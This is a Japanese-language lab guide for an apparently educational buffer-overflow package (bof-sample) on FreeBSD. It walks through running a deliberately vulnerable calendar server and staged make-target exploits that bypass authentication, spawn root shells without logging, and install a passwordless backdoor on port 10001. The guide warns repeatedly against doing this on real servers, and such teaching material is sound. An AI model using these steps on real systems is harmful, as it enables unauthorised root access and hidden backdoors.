% cd bof-sample/FreeBSD/bin % make local
起動するとユーザ名を聞いてきます.
% make local LANG=C ./calendar user pass 0 Input username and password, uid is changed, the calendar of the user is output, and flush the buffer. Username:calendarの起動時に第1引数で指定されているユーザ名(上の例では「user」) を入力すると,パスワードを聞いてきます.
Username: user Valid username: user Checked username: user Password:第2引数で指定されているパスワードを入力すると,カレンダーが表示されます.
Password: pass Login OK Checked password user calendar October 2016 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 %
% cd bof-sample/FreeBSD/bin % make server安全のために標準では,ローカルホストからの接続しか受け付けないように なっています.
(注意)
bof-sample-1.0のsinetdは,オプション無しで起動すると全ての接続を受け付け ますが,Makefile中の「SINETD_OPT」の指定(-h 127.0.0.1)により接続制限が ローカルホストのみにかけられています.SINETD_OPTの定義を無効にすることで, ネットワーク経由で別PCから接続することも可能にできます. bof-sample-1.1以降のsinetdでは安全のため,オプション無しで起動したときには ローカルホストのみの接続を受け付けるようにビルドされています.Makefile中の 「SERVER」の定義を 0.0.0.0 に変更することで,やはりネットワーク経由で別PC から接続することも可能にできます. ただしこれらを行うと,ネットワークサーバとして「脆弱性のあるプログラムが」 動作することになります.インターネット上にあるサーバなどで安易に実施しない ように注意してください. |
このようにして起動することで,ポート10000で待ち受けします.
以下のようにtelnetで接続することで,ネットワーク経由でカレンダーを 出力できます.
% telnet localhost 10000
(注意) calendar は make により実行ファイルを再作成するとアドレス体系が 変わってしまい添付のExploitデータが使えなくなってしまうので, 添付の calendar をそのまま使うこと.
まず,ローカルで検証するか,ネットワーク経由で検証するか,決めてください.
さらに,root権限でシェル起動するところまで検証するか,決めてください (rootでプログラム実行する必要性が出てきます). root権限にならなくても,ひととおりの検証はできます. (シェル起動したときに,root権限にならずに一般ユーザのままで起動するだけです)
■ ネットワーク経由で検証する場合(共通)
接続先を限定したい場合には,SERVER や SINETD_OPT の定義を調整してください.
% cd bof-sample/FreeBSD/bin % vi Makefile
■ ネットワーク経由で,一般ユーザ権限で検証する場合
以下でネットワークサーバを起動してください.
% make server
■ ネットワーク経由で,root権限で検証する場合
Makefile中の「USERID」に何らかの一般ユーザのユーザIDを指定してください. (そのユーザにsetuid()で切り替わってプログラム実行されます)
% cd bof-sample/FreeBSD/bin % vi Makefile
rootで以下を実行することで,サーバ起動してください.
% su # make rootserver
(注意)
脆弱性がありrootでシェル起動できるサーバを起動することになります. インターネット上にあるサーバなどで実行するのは大変危険です. ローカルのネットワーク環境などで実施してください. |
■ ローカルで,root権限で検証する場合
Exploit方法を調整してください.
% cd bof-sample/FreeBSD/exploit % vi Makefile
EXPLOITの定義を以下のように変更してください.
#EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) 0 EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) $(USERID) #EXPLOIT = $(NETCAT) $(SERVER) $(PORT)
■ ネットワーク経由で検証する場合
Exploit方法を調整してください.
% cd bof-sample/FreeBSD/exploit % vi MakefileSERVER にサーバのIPアドレスを指定してください. (ホスト名でなくIPアドレスでの指定が必要です)
EXPLOITの定義を以下のように変更してください.
#EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) 0 #EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) $(USERID) EXPLOIT = $(NETCAT) $(SERVER) $(PORT)
以下のようにしてExploitを検証できます.
ローカルでroot権限で検証したい場合には,スーパーユーザになって makeを実行してください. (ネットワーク経由の場合は,rootで起動するのはサーバ側なので, スーパーユーザでmakeを実行する必要はありません)
% cd bof-sample/FreeBSD/exploit % make user ... (第1段階)ユーザ名チェックのすり抜け % make pass ... (第2段階)パスワードチェックのすり抜け % make ls ... (第3段階)パスワードすり抜けし登録済みコマンド(ls)を実行 % make ps ... (第3段階)パスワードすり抜けし登録済みコマンド(ps)を実行 % make who ... (第4段階)パスワードすり抜けし既存関数を実行(whoコマンド実行) % make id ... (第5段階)パスワードすり抜けし既存関数を任意引数で実行(idコマンド実行) % make sh ... (第5段階)パスワードすり抜けし既存関数を任意引数で実行(シェル起動) % make root ... (第6段階)root権限でシェル起動 % make nolog ... (第7段階)root権限でシェル起動しログを汚さない % make telnetd ... (第8段階)簡易telnetdを/tmpに転送make telnetd すると,サーバの/tmpにstelnetdが置かれます. make nolog でログインして以下のように起動すると, ポート10001でバックドアが開けます.
/tmp/stelnetd 10001
(注意) パスワード無しで誰でもログインできるバックドアが開きます. サーバ上で安易に実行しないこと!インターネット上にあるサーバでは 「絶対に」実行しないこと!
検証目的でローカルホストからの接続のみ受け付けたい場合には, 以下のようにして起動します. (bof-sample-1.1からは,sinetd同様に,デフォルトではローカルホストからの接続 のみの動作に変更してあります)
/tmp/stelnetd -h 127.0.0.1 10001起動したら以下のようにしてnetcatで接続できます. (制御文字の処理をしていないため,telnetクライアントでは接続できません)
% nc 192.168.1.1 10001もしくは簡易netcatを使って,以下のようにします.
% cd bof-sample/FreeBSD/bin % ./snetcat 192.168.1.1 10001